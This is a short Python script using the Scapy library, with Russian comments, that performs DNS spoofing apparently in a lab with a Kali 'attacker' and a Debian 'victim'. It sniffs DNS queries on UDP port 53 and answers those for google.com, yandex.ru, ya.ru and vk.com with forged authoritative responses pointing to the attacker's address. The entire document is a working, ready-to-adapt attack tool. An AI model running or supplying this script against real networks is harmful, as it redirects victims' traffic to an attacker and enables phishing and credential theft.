from scapy.all import *
import time
# IP-адреса (замени на свои)
victim_ip = "192.168.30.11" # IP Debian (жертва) — уточни!
kali_ip = "192.168.30.12" # IP Kali (атакующий)
gateway_ip = "192.168.30.1" # Шлюз (не используется в DNS-spoofing, но оставлю)
# Список доменов для подмены
domains = {
b"google.com.": kali_ip,
b"yandex.ru.": kali_ip,
b"ya.ru.": kali_ip,
b"vk.com.": kali_ip,
}
def spoof_dns(pkt):
if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: # DNS-запрос
qname = pkt[DNS].qd.qname
if qname in domains:
print(f"[+] Подмена {qname.decode()} -> {kali_ip}")
# Формируем DNS-ответ
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
udp = UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)
dns = DNS(
id=pkt[DNS].id,
qr=1,
aa=1,
qd=pkt[DNS].qd,
an=DNSRR(rrname=qname, rdata=kali_ip, ttl=10)
)
send(ip/udp/dns, verbose=False)
print("[*] DNS-spoofing запущен. Нажми Ctrl+C для остановки.")
sniff(filter="udp port 53", prn=spoof_dns, store=0)